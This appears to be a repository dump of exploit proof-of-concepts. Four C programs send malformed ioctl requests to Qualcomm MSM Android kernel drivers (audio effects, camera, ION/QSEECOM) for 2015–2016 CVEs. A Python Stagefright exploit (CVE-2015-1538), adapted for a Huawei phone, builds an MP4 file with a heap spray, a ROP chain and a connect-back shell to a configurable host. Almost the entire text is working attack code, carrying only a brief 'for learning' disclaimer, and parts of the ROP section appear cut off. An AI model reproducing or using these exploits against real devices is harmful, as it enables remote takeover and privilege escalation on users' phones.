├── README.md ├── CVE-2016-2064.c ├── CVE-2016-3903.c ├── CVE-2016-3931.c ├── CVE-2016-2065.c └── CVE-2015-1538-HUAWEI.py /README.md: -------------------------------------------------------------------------------- 1 | # exploit 2 | PoC/Exploit files from seven shen, only for the use of learning. 3 | -------------------------------------------------------------------------------- /CVE-2016-2064.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define _IOC_NRBITS 8 9 | #define _IOC_TYPEBITS 8 10 | 11 | #ifndef _IOC_SIZEBITS 12 | # define _IOC_SIZEBITS 14 13 | #endif 14 | 15 | #ifndef _IOC_DIRBITS 16 | # define _IOC_DIRBITS 2 17 | #endif 18 | 19 | #define _IOC_WRITE 1U 20 | #define _IOC_TYPECHECK(t) (sizeof(t)) 21 | 22 | 23 | 24 | #define _IOC_NRMASK ((1 << _IOC_NRBITS)-1) 25 | #define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1) 26 | #define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1) 27 | #define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1) 28 | 29 | #define _IOC_NRSHIFT 0 30 | #define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS) 31 | #define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS) 32 | #define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS) 33 | #define _IOC(dir,type,nr,size) \ 34 | (((dir) << _IOC_DIRSHIFT) | \ 35 | ((type) << _IOC_TYPESHIFT) | \ 36 | ((nr) << _IOC_NRSHIFT) | \ 37 | ((size) << _IOC_SIZESHIFT)) 38 | 39 | #define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size))) 40 | #define AUDIO_EFFECTS_SET_PP_PARAMS _IOW('a', 104, void *) 41 | int main(int argc, char *argv[]) 42 | { 43 | printf("main begins...\n"); 44 | int fd = open("/dev/msm_hweffects", 0); 45 | if (fd<0){ 46 | perror("open"); 47 | exit(-1); 48 | } 49 | long req[128] = {0}; 50 | req[0] = 0x6000; 51 | req[1] = 0; 52 | req[2] = 0x7fffffff; 53 | req[3] = 0x5002; 54 | req[5] = 0x1; 55 | int ret = 0; 56 | unsigned int cmd = AUDIO_EFFECTS_SET_PP_PARAMS;//0x40046168; 57 | ret =ioctl(fd, cmd, &req); 58 | 59 | printf("main done,ret2:0x%x, cmd is:0x%x \n", ret,cmd); 60 | 61 | } 62 | -------------------------------------------------------------------------------- /CVE-2016-3903.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "../kernel/msm/include/uapi/sound/devdep_params.h" 11 | #include "../kernel/msm/include/media/msmb_isp.h" 12 | 13 | #define DOLBY_PARAM_ID_VSPE 0x00010750 14 | #define DOLBY_PARAM_VCNB_OFFSET 0x2d1 15 | #define DOLBY_PARAM_ID_VER 0x00010726 16 | #define VMSGSI _IOWR('V',195, unsigned int) 17 | 18 | struct msm_camera_csid_vc_cfg{ 19 | unsigned char cid; 20 | unsigned char dt; 21 | unsigned char decode_format; 22 | 23 | }; 24 | 25 | struct msm_camera_csid_lut_params{ 26 | unsigned char num_cid; 27 | struct msm_camera_csid_vc_cfg *vc_cfg[16]; 28 | 29 | }; 30 | struct msm_camera_csid_params{ 31 | unsigned char lane_cnt; 32 | unsigned short lane_assign; 33 | unsigned char phy_sel; 34 | struct msm_camera_csid_lut_params lut_params; 35 | 36 | }; 37 | 38 | enum csid_cfg_type_t{ 39 | CSID_INIT, 40 | CSID_CFG, 41 | CSID_RELEASE, 42 | 43 | }; 44 | 45 | struct csid_cfg_data{ 46 | enum csid_cfg_type_t cfgtype; 47 | union{ 48 | unsigned int csid_version; 49 | struct msm_camera_csid_params *csid_params; 50 | 51 | }cfg; 52 | 53 | }; 54 | 55 | 56 | #define CMCIC _IOWR('V', 197, struct csid_cfg_data) 57 | 58 | void test_isp_set_src_state() 59 | { 60 | int fd, i, k,ret; 61 | char dev[36] = { 0 }; 62 | 63 | i =3; 64 | snprintf(dev, sizeof(dev), "/dev/v4l-subdev%d", i); 65 | printf("open:%s\n",dev); 66 | 67 | fd = open(dev, O_RDWR); 68 | if (fd < 0) { 69 | printf("Failed to open:%s\n", dev); 70 | exit(EXIT_FAILURE); 71 | } 72 | 73 | printf("ioctl on init csid\n"); 74 | struct csid_cfg_data ccd; 75 | ccd.cfgtype=0; 76 | ccd.cfg.csid_version = 0x02001000; 77 | ret =ioctl(fd,CMCIC,&ccd); 78 | printf("ioctl on cfg, ret:0x%x\n", ret); 79 | ccd.cfgtype=1; 80 | ccd.cfg.csid_params = malloc(sizeof(struct msm_camera_csid_params)); 81 | ccd.cfg.csid_params->lut_params.num_cid=4; 82 | ccd.cfg.csid_params->lut_params.vc_cfg[1]=(void*)0xffffffc0deadbeaf; 83 | ioctl(fd, CMCIC, &ccd); 84 | printf("ret:0x%x\n",ret); 85 | } 86 | } 87 | 88 | 89 | int main(int argc, char *argv[]) 90 | { 91 | test_isp_set_src_state(); 92 | return 0; 93 | } 94 | 95 | -------------------------------------------------------------------------------- /CVE-2016-3931.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "../kernel/msm/include/uapi/linux/qseecom.h" 11 | #include "../kernel/msm/drivers/staging/android/uapi/linux/ion.h" 12 | 13 | 14 | int ion_test() 15 | { 16 | int ion_fd, ret; 17 | char* iondev = "/dev/ion"; 18 | printf("open:%s\n",iondev); 19 | 20 | ion_fd = open(iondev, O_RDWR); 21 | if (ion_fd < 0) { 22 | printf("Failed to open:%s, %s\n", iondev, strerror(errno)); 23 | exit(EXIT_FAILURE); 24 | } 25 | 26 | printf("ioctl on device: ION ALLOC\n"); 27 | struct ion_allocation_data data; 28 | data.len = 0x1000; 29 | data.align = 0x1000; 30 | data.flags = 27;//ION_HEAP_CARVEOUT_MASK; 31 | data.heap_mask = 1<<27; 32 | ret = ioctl(ion_fd, ION_IOC_ALLOC, &data); 33 | printf("ret is :0x%x, flags:0x%x\n", ret, data.flags); 34 | 35 | struct ion_fd_data ifd; 36 | ifd.handle = data.handle; 37 | 38 | printf("ioctl on device: ION IOC SHARE\n"); 39 | ret = ioctl(ion_fd, ION_IOC_SHARE, &ifd); 40 | printf("ret is :0x%x, fd is: 0x%x\n", ret, ifd.fd); 41 | 42 | return ifd.fd; 43 | 44 | } 45 | 46 | 47 | void test_qsee_send_modfd_resp() 48 | { 49 | 50 | int ifd = ion_test(); 51 | int fd, i,ret; 52 | char* dev = "/dev/qseecom"; 53 | printf("open:%s\n",dev); 54 | 55 | fd = open(dev, O_RDWR); 56 | if (fd < 0) { 57 | printf("Failed to open:%s, %s\n", dev, strerror(errno)); 58 | exit(EXIT_FAILURE); 59 | } 60 | 61 | printf("ioctl on device:REGISTER LISTENER REQ\n"); 62 | struct qseecom_register_listener_req rcvd_lstnr; 63 | rcvd_lstnr.ifd_data_fd = ifd; 64 | ret = ioctl(fd, QSEECOM_IOCTL_REGISTER_LISTENER_REQ, &rcvd_lstnr); 65 | printf("ret is :0x%x\n", ret); 66 | 67 | printf("ioctl on device:SEND MODFD CMD REQ\n"); 68 | struct qseecom_send_modfd_listener_resp arg; 69 | arg.resp_buf_ptr = (void*)0x1000;//malloc(100); 70 | for(i=0; i<4;i++){ 71 | arg.resp_len = 0xc0000000; 72 | arg.ifd_data[i].cmd_buf_offset = arg.resp_len - 4; 73 | arg.ifd_data[i].fd = ifd; 74 | } 75 | 76 | 77 | ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_RESP, &arg); 78 | printf("ret is :0x%x\n", ret); 79 | 80 | } 81 | 82 | 83 | 84 | int main(int argc, char *argv[]) 85 | { 86 | printf("main begins...\n"); 87 | test_qsee_send_modfd_resp(); 88 | printf("main end\n"); 89 | return 0; 90 | } 91 | 92 | -------------------------------------------------------------------------------- /CVE-2016-2065.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | typedef unsigned int __u32; 9 | typedef int __s32; 10 | 11 | struct msm_hwacc_buf_cfg { 12 | __u32 input_len; 13 | __u32 output_len; 14 | }; 15 | 16 | struct msm_hwacc_data_config { 17 | __u32 buf_size; 18 | __u32 num_buf; 19 | __u32 num_channels; 20 | __u8 channel_map[8]; 21 | __u32 sample_rate; 22 | __u32 bits_per_sample; 23 | }; 24 | 25 | struct msm_hwacc_effects_config { 26 | struct msm_hwacc_data_config input; 27 | struct msm_hwacc_data_config output; 28 | struct msm_hwacc_buf_cfg buf_cfg; 29 | __u32 meta_mode_enabled; 30 | __u32 overwrite_topology; 31 | __s32 topology; 32 | }; 33 | 34 | #define AUDIO_IOCTL_MAGIC 'a' 35 | 36 | #define _IOC_NRBITS 8 37 | #define _IOC_TYPEBITS 8 38 | 39 | /* 40 | * Let any architecture override either of the following before 41 | * including this file. 42 | */ 43 | 44 | #ifndef _IOC_SIZEBITS 45 | # define _IOC_SIZEBITS 14 46 | #endif 47 | 48 | #ifndef _IOC_DIRBITS 49 | # define _IOC_DIRBITS 2 50 | #endif 51 | 52 | #define _IOC_WRITE 1U 53 | #define _IOC_TYPECHECK(t) (sizeof(t)) 54 | 55 | 56 | 57 | #define _IOC_NRMASK ((1 << _IOC_NRBITS)-1) 58 | #define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1) 59 | #define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1) 60 | #define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1) 61 | 62 | #define _IOC_NRSHIFT 0 63 | #define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS) 64 | #define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS) 65 | #define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS) 66 | #define _IOC(dir,type,nr,size) \ 67 | (((dir) << _IOC_DIRSHIFT) | \ 68 | ((type) << _IOC_TYPESHIFT) | \ 69 | ((nr) << _IOC_NRSHIFT) | \ 70 | ((size) << _IOC_SIZESHIFT)) 71 | 72 | #define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size))) 73 | #define AUDIO_EFFECTS_SET_PP_PARAMS _IOW(AUDIO_IOCTL_MAGIC, 104, void *) 74 | #define AUDIO_SET_EFFECTS_CONFIG _IOW(AUDIO_IOCTL_MAGIC, 99, struct msm_hwacc_effects_config) 75 | #define AUDIO_START _IOW(AUDIO_IOCTL_MAGIC, 0, unsigned) 76 | 77 | #define ASM_STREAM_POSTPROC_TOPO_ID_SA_PLUS 0x1000FFFF 78 | 79 | int main(int argc, char *argv[]) 80 | { 81 | printf("main begins...\n"); 82 | printf(".................\n"); 83 | printf("open device...\n"); 84 | int fd = open("/dev/msm_hweffects", 0); 85 | if (fd<0){ 86 | perror("open"); 87 | exit(-1); 88 | } 89 | printf("config device...\n"); 90 | 91 | //config audio effect 92 | int ret = 0; 93 | unsigned int cmd = AUDIO_SET_EFFECTS_CONFIG; 94 | //struct msm_hwacc_effects_config *pconfig = (struct msm_hwacc_effects_config *)malloc(sizeof(struct msm_hwacc_effects_config)); 95 | struct msm_hwacc_data_config fake1; 96 | struct msm_hwacc_buf_cfg fake2; 97 | struct msm_hwacc_effects_config config; 98 | struct msm_hwacc_effects_config fake_config; 99 | //pconfig->topology = ASM_STREAM_POSTPROC_TOPO_ID_SA_PLUS; 100 | 101 | //config.topology = ASM_STREAM_POSTPROC_TOPO_ID_SA_PLUS; 102 | //config.output.buf_size = 0x80000001; 103 | //config.output.num_buf = 2; 104 | config.output.bits_per_sample = 24; 105 | config.meta_mode_enabled = 1; 106 | 107 | memcpy(&fake_config, &config, sizeof(struct msm_hwacc_effects_config)); 108 | printf("test fake config top:0x%x \n",fake_config.topology); 109 | 110 | 111 | 112 | //ret =ioctl(fd, cmd, pconfig); 113 | ret = ioctl(fd, cmd, &config); 114 | printf("config done, ret:0x%x \n",ret); 115 | 116 | printf("set top...\n"); 117 | 118 | ret =ioctl(fd, AUDIO_START, 0); 119 | printf("set top done, ret:0x%x \n",ret); 120 | 121 | printf("set pp...\n"); 122 | 123 | long req[128] = {0}; 124 | req[0] = 0x4000; 125 | req[1] = 0; 126 | req[2] = 1; 127 | req[3] = 0x00004002; 128 | req[5] = 0x0; 129 | req[6] = 0x8; 130 | req[9] = 0x1; 131 | req[10] = -10; 132 | 133 | cmd = AUDIO_EFFECTS_SET_PP_PARAMS;//0x40046168; 134 | ret =ioctl(fd, cmd, &req); 135 | 136 | 137 | 138 | printf("main done,ret2:0x%x, cmd is:0x%x \n", ret,cmd); 139 | 140 | } 141 | -------------------------------------------------------------------------------- /CVE-2015-1538-HUAWEI.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #seven shen updated for huawei t9510e 3 | # Joshua J. Drake (@jduck) of ZIMPERIUM zLabs 4 | # Shout outs to our friends at Optiv (formerly Accuvant Labs) 5 | # (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015 6 | # www.zimperium.com 7 | # 8 | # Exploit for RCE Vulnerability CVE-2015-1538 #1 9 | # Integer Overflow in the libstagefright MP4 'stsc' atom handling 10 | # 11 | # Don't forget, the output of "create_mp4" can be delivered many ways! 12 | # MMS is the most dangerous attack vector, but not the only one... 13 | # 14 | # DISCLAIMER: This exploit is for testing and educational purposes only. Any 15 | # other usage for this code is not allowed. Use at your own risk. 16 | # 17 | # "With great power comes great responsibility." - Uncle Ben 18 | # 19 | 20 | import struct 21 | import socket 22 | 23 | 24 | # 25 | # Creates a single MP4 atom - LEN, TAG, DATA 26 | # 27 | def make_chunk(tag, data): 28 | if len(tag) != 4: 29 | raise 'Yo! They call it "FourCC" for a reason.' 30 | ret = struct.pack('>L', len(data) + 8) 31 | ret += tag 32 | ret += data 33 | return ret 34 | 35 | 36 | # 37 | # Make an 'stco' atom - Sample Table Chunk Offets 38 | # 39 | def make_stco(extra=''): 40 | ret = struct.pack('>L', 0) # version 41 | ret += struct.pack('>L', 0) # mNumChunkOffsets 42 | return make_chunk('stco', ret+extra) 43 | 44 | # 45 | # Make an 'stsz' atom - Sample Table Size 46 | # 47 | def make_stsz(extra=''): 48 | ret = struct.pack('>L', 0) # version 49 | ret += struct.pack('>L', 0) # mDefaultSampleSize 50 | ret += struct.pack('>L', 0) # mNumSampleSizes 51 | return make_chunk('stsz', ret+extra) 52 | 53 | # 54 | # Make an 'stts' atom - Sample Table Time-to-Sample 55 | # 56 | def make_stts(): 57 | ret = struct.pack('>L', 0) # version 58 | ret += struct.pack('>L', 0) # mTimeToSampleCount 59 | return make_chunk('stts', ret) 60 | 61 | 62 | # 63 | # This creates a single Sample Table Sample-to-Chunk entry 64 | # 65 | def make_stsc_entry(start, per, desc): 66 | ret = '' 67 | ret += struct.pack('>L', start + 1) 68 | ret += struct.pack('>L', per) 69 | ret += struct.pack('>L', desc) 70 | return ret 71 | 72 | # 73 | # Make an 'stsc' chunk - Sample Table Sample-to-Chunk 74 | # 75 | # If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and 76 | # cause a heap overflow. 77 | # 78 | def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False): 79 | ret = struct.pack('>L', 0) # version/flags 80 | 81 | # this is the clean version... 82 | if not do_overflow: 83 | ret += struct.pack('>L', num_alloc) # mNumSampleToChunkOffsets 84 | ret += 'Z' * (12 * num_alloc) 85 | return make_chunk('stsc', ret) 86 | 87 | # now the explicit version. (trigger the bug) 88 | ret += struct.pack('>L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets 89 | 90 | # fill in the entries that will overflow the buffer 91 | for x in range(0, num_write): 92 | ret += make_stsc_entry(sp_addr, sp_addr, sp_addr) 93 | 94 | ret = make_chunk('stsc', ret) 95 | 96 | # patch the data_size 97 | ret = struct.pack('>L', 8 + 8 + (num_alloc * 12)) + ret[4:] 98 | 99 | return ret 100 | 101 | # 102 | # Build the ROP chain 103 | # 104 | # ROP pivot by Georg Wicherski! Thanks! 105 | # 106 | """ 107 | (gdb) x/10i __dl_restore_core_regs 108 | 0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34 109 | 0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5} 110 | 0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5} 111 | 0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11} 112 | 0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc} 113 | """ 114 | 115 | """ 116 | b0001144 <__dl_mprotect>: 117 | b0001144: e92d0090 push {r4, r7} 118 | b0001148: e3a0707d mov r7, #125 ; 0x7d 119 | b000114c: ef000000 svc 0x00000000 120 | b0001150: e8bd0090 pop {r4, r7} 121 | b0001154: e1b00000 movs r0, r0 122 | b0001158: 512fff1e bxpl lr 123 | b000115c: ea0015cc b b0006894 <__dl_raise+0x10> 124 | """ 125 | 126 | def build_rop(off, sp_addr, newpc_val, cb_host, cb_port): 127 | rop = '' 128 | rop += struct.pack('L', 0) 206 | ftyp += 'mp42' 207 | ftyp += 'isom' 208 | chunks.append(make_chunk('ftyp', ftyp)) 209 | 210 | # Note, this causes a few allocations... 211 | moov_data = '' 212 | moov_data += make_chunk('mvhd', 213 | struct.pack('>LL', 0, 0x41414141) + 214 | ('B' * 0x5c) ) 215 | 216 | # Add a minimal, verified trak to satisfy mLastTrack being set 217 | moov_data += make_chunk('trak', 218 | make_chunk('stbl', 219 | make_stsc(0x28, 0x28) + 220 | make_stco() + 221 | make_stsz() + 222 | make_stts() )) 223 | 224 | 225 | # Spray the heap using a large tx3g chunk (can contain binary data!) 226 | """ 227 | 0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs 228 | 0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0 229 | 0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1 230 | 0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4 231 | 0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement 232 | 0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1 233 | 0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42> 234 | 0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase 235 | 0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr 236 | 0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address 237 | 0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6 238 | 0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it! 239 | """ 240 | page = '' 241 | off = 0 # the offset to the next object 242 | off += 8 243 | page += struct.pack('L', 0) + 279 | make_chunk('ilst', 280 | make_chunk('cpil', make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) + 281 | make_chunk('trkn', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) + 282 | make_chunk('disk', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) + 283 | make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 + 284 | make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + 285 | make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + 286 | make_chunk('aART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + 287 | make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + 288 | make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + 289 | make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + 290 | make_chunk('gnre', make_chunk('data', struct.pack('>LL', 1, 0) + block)) + 291 | make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 + 292 | make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) + 293 | make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) + 294 | make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger))) 295 | ) 296 | ) 297 | moov_data += udta 298 | 299 | # Make the nasty trak 300 | tkhd1 = ''.join([ 301 | '\x00', # version 302 | 'D' * 3, # padding 303 | 'E' * (5*4), # {c,m}time, id, ??, duration 304 | 'F' * 0x10, # ?? 305 | struct.pack('>LLLLLL', 306 | 0x10000, # a00 307 | 0, # a01 308 | 0, # dx 309 | 0, # a10 310 | 0x10000, # a11 311 | 0), # dy 312 | 'G' * 0x14 313 | ]) 314 | 315 | trak1 = '' 316 | trak1 += make_chunk('tkhd', tkhd1) 317 | 318 | mdhd1 = ''.join([ 319 | '\x00', # version 320 | 'D' * 0x17, # padding 321 | ]) 322 | 323 | mdia1 = '' 324 | mdia1 += make_chunk('mdhd', mdhd1) 325 | mdia1 += make_chunk('hdlr', 'F' * 0x3a) 326 | 327 | dinf1 = '' 328 | dinf1 += make_chunk('dref', 'H' * 0x14) 329 | 330 | minf1 = '' 331 | minf1 += make_chunk('smhd', 'G' * 0x08) 332 | minf1 += make_chunk('dinf', dinf1) 333 | 334 | # Build the nasty sample table to trigger the vulnerability here. 335 | stbl1 = make_stsc(3, (0xa50 / 0xc), sp_addr, True) # TRIGGER 336 | 337 | # Add the stbl to the minf chunk 338 | minf1 += make_chunk('stbl', stbl1) 339 | 340 | # Add the minf to the mdia chunk 341 | mdia1 += make_chunk('minf', minf1) 342 | 343 | # Add the mdia to the track 344 | trak1 += make_chunk('mdia', mdia1) 345 | 346 | # Add the nasty track to the moov data 347 | moov_data += make_chunk('trak', make_chunk('tx3g', spray) + trak1) 348 | 349 | # Finalize the moov chunk 350 | moov = make_chunk('moov', moov_data) 351 | chunks.append(moov) 352 | 353 | # Combine outer chunks together and voila. 354 | data = ''.join(chunks) 355 | 356 | return data 357 | 358 | if __name__ == '__main__': 359 | import sys 360 | #import mp4 361 | import argparse 362 | 363 | def write_file(path, content): 364 | with open(path, 'wb') as f: 365 | f.write(content) 366 | 367 | def addr(sval): 368 | if sval.startswith('0x'): 369 | return int(sval, 16) 370 | return int(sval) 371 | 372 | # The address of a fake StrongPointer object (sprayed) 373 | sp_addr = 0x41b19010#0x41d00010 # takju @ imm76i - 2MB (via hangouts) 374 | 375 | # The address to of our ROP pivot 376 | newpc_val = 0x400544ac#0xdeadbeef #0xb0002850 # point sp at __dl_restore_core_regs 377 | 378 | # Allow the user to override parameters 379 | parser = argparse.ArgumentParser() 380 | parser.add_argument('-c', '--connectback-host', dest='cbhost', default='10.64.34.64') 381 | parser.add_argument('-p', '--connectback-port', dest='cbport', type=int, default=12345) 382 | parser.add_argument('-s', '--spray-address', dest='spray_addr', type=addr, default=None) 383 | parser.add_argument('-r', '--rop-pivot', dest='rop_pivot', type=addr, default=None) 384 | parser.add_argument('-o', '--output-file', dest='output_file', default='cve-2015-1538-1.mp4') 385 | args = parser.parse_args() 386 | 387 | if len(sys.argv) == 1: 388 | parser.print_help() 389 | sys.exit(-1) 390 | 391 | if args.spray_addr == None: 392 | args.spray_addr = sp_addr 393 | if args.rop_pivot == None: 394 | args.rop_pivot = newpc_val 395 | 396 | # Build the MP4 file... 397 | data = create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport) 398 | print('[*] Saving crafted MP4 to %s ...' % args.output_file) 399 | write_file(args.output_file, data) 400 | 401 | --------------------------------------------------------------------------------